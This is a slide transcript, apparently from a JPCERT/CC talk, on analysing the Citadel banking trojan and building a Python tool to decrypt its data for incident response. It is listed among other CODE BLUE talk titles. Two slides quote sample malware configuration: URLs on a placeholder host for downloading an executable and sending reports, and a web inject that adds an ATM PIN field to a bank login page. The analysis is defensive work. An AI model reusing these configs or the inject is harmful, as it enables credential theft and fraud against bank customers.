[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...CODE BLUE
 

More from CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Fight Against Citadel in Japan by 中津留 勇

  • 1. Fight Against Citadel in Japan 2014/02/18 JPCERT/CC 分析センター 中津留 勇
  • 2. Copyright©2014 JPCERT/CC All rights reserved.1 目次 背景 —日本における不正送金被害 Citadel の分析 —動作概要 —暗号化 メイキング Citadel Decryptor Citadel Decryptor —復号方法 —デモ
  • 3. Copyright©2014 JPCERT/CC All rights reserved.2 背景
  • 4. Copyright©2014 JPCERT/CC All rights reserved.3 日本における不正送金被害 14億600万円 4800万円 3億800万円 2011年 2012年 2013年 http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf 標的となった金融機関は 32
  • 5. Copyright©2014 JPCERT/CC All rights reserved.4 その裏で・・・ http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf
  • 6. Copyright©2014 JPCERT/CC All rights reserved.5 不正送金に関連したマルウェア ZeuS Ice IX Citadel GameOver SpyEye Carberp etc.
  • 7. Copyright©2014 JPCERT/CC All rights reserved.6 Citadel の感染被害 http://blog.trendmicro.co.jp/archives/7547
  • 8. Copyright©2014 JPCERT/CC All rights reserved.7 インシデント全体像 リモート操作用 サーバ 管理サーバ 攻撃者 ユーザ インターネット バンキング
  • 9. Copyright©2014 JPCERT/CC All rights reserved.8 Web Injects ユーザ インターネット バンキング
  • 10. Copyright©2014 JPCERT/CC All rights reserved.9 Web Injects デモ
  • 11. Copyright©2014 JPCERT/CC All rights reserved.10 マルウェアの作成・管理ツール
  • 12. Copyright©2014 JPCERT/CC All rights reserved.11 アンダーグラウンドでの売買
  • 13. Copyright©2014 JPCERT/CC All rights reserved.12 インシデント対応 リモート操作用 サーバ 管理サーバ 攻撃者 ユーザ インターネット バンキング 情報共有
  • 14. Copyright©2014 JPCERT/CC All rights reserved.13 インシデント対応するために リモート操作用 サーバ 管理サーバ 攻撃者 ユーザ インターネット バンキング どのサイト? どこの? どこの? どうやって? どこの?
  • 15. Copyright©2014 JPCERT/CC All rights reserved.14 CITADEL の分析
  • 16. Copyright©2014 JPCERT/CC All rights reserved.15 Citadel の分析を行うにあたって リーク版 Citadel Web パネル ビルダー リーク版 ZeuS Web パネル ビルダー ZeuS ソースコード Web パネル ソース ビルダー ソース ビルドされ たサーバ デバッグ情 報 ブログ記事等 Sophos LEXSI
  • 17. Copyright©2014 JPCERT/CC All rights reserved.16 分析手法 • ファイル情報等の情報収集 表層分析 • 監視ツール、Sandbox、デバッグ 動的分析 • ソースコードを読む、アセンブリコードを読む 静的分析
  • 18. Copyright©2014 JPCERT/CC All rights reserved.17 静的分析 ZeuS との差分を調査
  • 19. Copyright©2014 JPCERT/CC All rights reserved.18 Citadel の挙動 送信用レポート 現在の設定など Web Injects
  • 20. Copyright©2014 JPCERT/CC All rights reserved.19 2つの設定ファイル • 初期設定 • 暗号鍵、Dynamic Config の URL など • エンコードされてハードコード Base Config • 追加の設定 • Webパネルの URL、Web Injects、etc… • サーバからダウンロード Dynamic Config
  • 21. Copyright©2014 JPCERT/CC All rights reserved.20 botnet "CIT" timer_config 4 9 timer_logs 3 6 timer_stats 4 8 timer_modules 1 4 timer_autoupdate 8 url_config1 "http://citadelhost/folder/file.php|file=config.dll" url_config2 "http://reserve-citadelhost/folder/file.php|file=config.dll" remove_certs 1 disable_cookies 0 encryption_key "key123" report_software 1 enable_luhn10_get 0 enable_luhn10_post 1 disable_antivirus 0 use_module_video 1 antiemulation_enable 0 disable_httpgrabber 0 use_module_ffcookie 1 Base Config Dynamic Config の URL RC4 鍵を生成するための パスワード
  • 22. Copyright©2014 JPCERT/CC All rights reserved.21 Dynamic Config url_loader "http://citadelhost/folder/file.php|file=soft.exe" url_server "http://citadelhost/folder/gate.php" file_webinjects "injects.txt" url_webinjects "http://citadelhost/folder/file.php" entry "AdvancedConfigs" "http://reserve-host1/folder/file.php|file=config.bin" "http://reserve-host2/folder/file.php|file=config.bin" end entry "WebFilters" "#*wellsfargo.com/*" "@*payment.com/*" "!http://*.com/*.jpg" end (snip) set_url https://www.wellsfargo.com/ GP data_before <div><strong><label for="userid">Username</la data_end data_inject <input type="text" accesskey="U" id="userid" na <DIV><STRONG><LABEL for=userid>ATM Pin</L style="WIDTH: 147px" tabIndex="2" maxLength= <DIV><STRONG><label for="password">Passwo <input type="password" accesskey="P" id="pass <input type="hidden" name="screenid" value="SI <input type="submit" value="Go" name="btnSign <input type="hidden" id="u_p" name="u_p" value </form> data_end
  • 23. Copyright©2014 JPCERT/CC All rights reserved.22 情報の暗号化
  • 24. Copyright©2014 JPCERT/CC All rights reserved.23 暗号化されたデータ
  • 25. Copyright©2014 JPCERT/CC All rights reserved.24 暗号化されたデータの内容 パケット 送信データ (レポート) Dynamic Config 追加モジュール ファイル レポート 追加モジュール のバックアップ レジストリ 現在の設定 Dynamic Config のバックアップ
  • 26. Copyright©2014 JPCERT/CC All rights reserved.25 Citadel が用いる暗号方式 • AES に XOR エンコードを組み合わせた方式 AES+ • RC4 に XOR エンコードを組み合わせた方式 RC4+ • RC4+ による復号を 2度行う RC4+ * 2 • インストール時にランダムに生成した AES 鍵を使用した AES+ Installed Data
  • 27. Copyright©2014 JPCERT/CC All rights reserved.26 Citadel が扱うデータ形式 ヘッダ アイテム アイテム アイテム 暗号化 BinStrage サイズ (XOR) BinStrage 暗号化 BinStrage サイズ (XOR) 暗号化 BinStrage サイズ (XOR) StrageArray UCL 圧縮
  • 28. Copyright©2014 JPCERT/CC All rights reserved.27 Dynamic Config の場合 Base Config Dynamic Config XOR AES+ UCL 圧縮
  • 29. Copyright©2014 JPCERT/CC All rights reserved.28 0x400 バイトのオーバーレイ 実行ファイル 実行ファイル Install Setting Installed Data インストール前の Citadel インストール後 XOR 鍵 ID, インストールパス, ランダム AES 鍵、 ランダム StrageArray 鍵 など パディング パディング
  • 30. Copyright©2014 JPCERT/CC All rights reserved.29 復号対象まとめ カテゴリ 対象 形式 暗号方式 パケット レポート 暗号化 BinStrage RC4+ Dynamic Config 暗号化 BinStrage AES+ 追加モジュール 実行ファイル RC4+ * 2 ファイル レポートファイル StrageArray Installed Data モジュールの バックアップ StrageArray Installed Data レジストリ Dynamic Config の バックアップ 暗号化 BinStrage Installed Data
  • 31. Copyright©2014 JPCERT/CC All rights reserved.30 メイキング CITADEL DECRYPTOR
  • 32. Copyright©2014 JPCERT/CC All rights reserved.31 ゴール インシデント対応に必要な情報を復号する
  • 33. Copyright©2014 JPCERT/CC All rights reserved.32 実装 Python PyCrypto pefile UCL
  • 34. Copyright©2014 JPCERT/CC All rights reserved.33 RC4+ 復号処理 RC4 鍵取得 RC4 Visual Decrypt
  • 35. Copyright©2014 JPCERT/CC All rights reserved.34 RC4+ 実装 def rc4_plus_decrypt(login_key, base_key, buf): S1 = base_key['state'] S2 = map(ord, login_key) out = "" i = j = k = 0 for c in buf: i = (i + 1) & 0xFF j = (j + S1[i]) & 0xFF S1[i], S1[j] = S1[j], S1[i] out += chr((ord(c) ^ S1[(S1[i]+S1[j])&0xFF]) ^ S2[k%len(S2)]) k += 1 return out
  • 36. Copyright©2014 JPCERT/CC All rights reserved.35 AES 鍵取得 AES 復号 Visual Decrypt AES+ 復号処理
  • 37. Copyright©2014 JPCERT/CC All rights reserved.36 AES+ 実装 def unpack_aes_plus(login_key, base_key, xor_key, aes_key, data): aes = AES.new(aes_key) tmp = aes.decrypt(data) out = "" for i in range(len(tmp)): out += chr(ord(tmp[i]) ^ ord(xor_key[i%len(xor_key)])) return out
  • 38. Copyright©2014 JPCERT/CC All rights reserved.37 必要なパラメータ Base Config RC4 鍵 Installed Data StrageArray 鍵 ランダム AES 鍵 その他 Salt LoginKey AES XOR 鍵
  • 39. Copyright©2014 JPCERT/CC All rights reserved.38 必要なパラメータの取得 re.compile(".*¥x56¥xBA(..)¥x00¥x00¥x52¥x68(....) ¥x50¥xE8....¥x8B¥x0D.*", re.DOTALL)
  • 40. Copyright©2014 JPCERT/CC All rights reserved.39 UCL Decompress http://www.oberhumer.com/opensource/ucl/
  • 41. Copyright©2014 JPCERT/CC All rights reserved.40 UCL Decompress 実装 def _ucl_decompress(self, data): ucl = cdll.LoadLibrary(UCL) compressed = c_buffer(data) decompressed = c_buffer(DECOMPRESS_MAX_SIZE) decompressed_size = c_int() result = ucl.ucl_nrv2b_decompress_le32( pointer(compressed), c_int(len(compressed.raw)), pointer(decompressed), pointer(decompressed_size)) return decompressed.raw[:decompressed_size.value]
  • 42. Copyright©2014 JPCERT/CC All rights reserved.41 CITADEL DECRYPTOR
  • 43. Copyright©2014 JPCERT/CC All rights reserved.42 動作に必要な環境 •コードおよび使用しているライブラリが 64bit に対応していないため Windows + 32bit Python •Python の暗号モジュール •AES 復号を行うために使用 •Windows 用のバイナリは •http://www.voidspace.org.uk/python/modules.shtml#pycrypto PyCrypto •Python の Windows 実行ファイルをパースするモジュール •セクション等をパースして、必要な鍵を取り出すために使用 pefile
  • 44. Copyright©2014 JPCERT/CC All rights reserved.43 復号に必要なデータ 復号対象 アンパックされた Citadel 本体 • ベース RC4 鍵 • AES+ 用の XOR 鍵 • RC4+ 用の XOR 鍵(LOGINKEY) • RC4+ 用の salt インストールされた後の Citadel 本体 • Installed Data • ランダムに生成された AES 鍵 • ランダムに生成された StrageArray 鍵
  • 45. Copyright©2014 JPCERT/CC All rights reserved.44 citadel_decryptor.py Citadel が扱う暗号化された様々なデータを復号するス クリプト 復号対象と、アンパックした本体は常に引数に入れる必 要がある >citadel_decryptor.py usage: citadel_decryptor.py [-h] [-n] [-a] [-d] [-o OUT] [-D] [-l LOGIN] [-k KEY] [-x XOR] [-s SALT] [-i INSTALLED] [-m MODE] [-v] DAT EXE citadel_decryptor.py: error: too few arguments >
  • 46. Copyright©2014 JPCERT/CC All rights reserved.45 目的別オプション 以下のオプションと、復号対象およびアンパック後の Citadel を指定する カテゴリ 対象 指定オプション パケット レポート -m2 Dynamic Config -d モジュール -m3 -n ファイル レポートファイル -a -i [Install Data を持つ実行ファイル] モジュールの バックアップ -a -i [Install Data を持つ実行ファイル] レジストリ Dynamic Config の バックアップ -d -i [Install Data を持つ実行ファイル]
  • 47. Copyright©2014 JPCERT/CC All rights reserved.46 実践
  • 48. Copyright©2014 JPCERT/CC All rights reserved.47 Tips レジストリデータのバイナリ化 • regedit を用いエクスポートしたデータを FileInsight のプラグインで バイナリデータに変換 • https://github.com/nmantani/FileInsight-plugins アンパック • パッカーが呼び出す API でブレークする方法が簡単 • WriteProcessMemory • CreateProcessW • VirtualFree / VirtualFreeEx / RtlFreeHeap • 仮想メモリ上から実行ファイルそのものを取り出す • オーバーレイの 0x400 バイトを忘れずに切り取る
  • 49. Copyright©2014 JPCERT/CC All rights reserved.48 今後の活動 今持っているツール • Citadel Decryptor • ZeuS Decryptor • Ver 2.0.8.9 • Ver 2.9.6.1 • Ice IX Decryptor • etc. 持っていないツール • Gameover (P2P ZeuS) Decryptor